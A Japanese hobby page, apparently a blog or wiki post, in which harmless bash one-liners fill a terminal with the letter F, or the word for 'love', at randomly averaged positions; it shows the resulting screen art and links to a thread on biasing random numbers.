F FF FFFF FFFFF  F FF   FFF   FF FFF FF F    FF FFF F FFFF FFFF F FFFFF F FF FF FFFF FFFFFFFF   FFF F
FF  FFF  FF FFF F  FFFFF  F FFF F FFF FF  FFFF F  FFF F  FFFF FFFF F FF FFFFFFF  FFFFFFF FFFF F FFF F
FF F FFFF F    FFFF FF FFFF FFF FFF FFFFFFF FF FFFFF^CFF FFF FFFFFFF  FFFFFFF FFFF FFFFFFFF F FFFFFF
 FF    FFF  FFF F FF  FF FF  F  FFFFF FFFFFFF F FF FFFFFF FFFFFF  FFF FFF FFF FFFFFFFFF FF  FFFF FFF
FF F FFFFFFF   F   F FF FF F FFFF  FFFFF FFFFFFFF   FFFFFFF  F   FFFFFF F F  FFF F FFFFFF FFF  FFFFFF

コクのある乱数で全てがFになる

C=$(tput cols);L=$(tput lines);while :;do x=$((($RANDOM%$C+$RANDOM%$C+$RANDOM%$C)/3));y=$((($RANDOM%$L+$RANDOM%$L+$RANDOM%$L)/3));printf "\033[${y};${x}fF";done
                                      FF  F       F              FF
            F              F                F FFFFF   F                F                 F
                  FF F      F   F    FF F     F       FF  F      FF F  F
                       FF  F   F  F F   FFFFF   F FF  F F    F F FF    F
         F   F       FF  FF   FFFFF FFF  F FF FFFF FFF    FFFFFF  FF      F FF  F F
              FF      F F FF F FFFFFF F F  FFFFFFFFFFFFFFFF  FFFF F FF   FFF    F     F
           F     F  F    F   FFFF^CFF FFFFFFFFFF FFF FFFFF F FF FFF F FFFF FFF     FF         F
           F     F  F FF F F  F FFFFF FFFFFFFFFFFFFFFFFFFFFFFF FF FFFFFFFF   F F FF        F
      FF    FF  F  F FFFFFF FFFFFF FFFFFFFFFFFFFFFFFFFFFF FFFFFFFFF F FFF FF FFF F  FF FF
      FF F      FF FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFF FFFFF F  F  FFFF  F FF
          F    F F F FF FF FFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFF FF FF  FFF F
     FF  FF FFF F FF FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFF
     F  F    F FFF F FFFFFFFF F FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F FFFFFFF F  F F F FF  F
         FF    F FFFF  F F FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F FFFFFF FF
      F      F F  FF FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFF  F  F    F  F
  F  FFF   FFF FFFFF FFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F F FFFFFF  F     F
       F FF   F  FFF FFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFF FF F FFFF F F   F
          F F FFF   FFF  F FFFFFFFFFF FFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFF FFFFF F FFF  FF  F
               FFF FF F FFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFF FFFFFFFFF F  F F    F  F    F
         F    F F  F F F FFFFFF FFFFFFFFFFFFFFF FFFFFFFFF FFFFFFFFFFFFFFFFF   F FFFFF F   F     F
       F  F FF  F  FFFFFFF FFFFF  F F FFFFFFFFFFFFF FFFFFFF FFFFF FFFFF F FF F FFF    F
          FF F FF F  FF FFFF FF  FF  FFFFFFFFF F FFF FFFFFFFFF F  FFFFFFF FF F  FF F F   F
         FF  F      F  F F FFFF F FFFF FF FFFFFFFFFFFFF FFF FFFFFFF  FFF FFFFF   FF       F
                  F    F FF  FFFFFFFFFFFFFF FFFFFF F    F F  FFFFFF    F    FF   F
                 F F F    F  F F  FFFFF F   F FF FF F F  F  F F FF F  F    FF              F
             F F      F        F F FF F    FF FFFFF   F FFFFFFF F   F FF      FF
                    F    F FF    F       F F    F FFFF       F        F
             F           F      F          F F     F  F     F     F           FF
                                           F          F



コクのある乱数とは

togetter - 乱数にコクを出す方法について
http://togetter.com/li/1044668

クリスマスも近いし、ターミナルぐらいは愛で満たそうかと思ったら狂気しかなかった

C=$(tput cols);L=$(tput lines);while :;do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}f愛";done

1 2 3 ... 9 (1-10/88)

他の形式にエクスポート: Atom

クリップボードから画像を追加 (サイズの上限: 100 MB)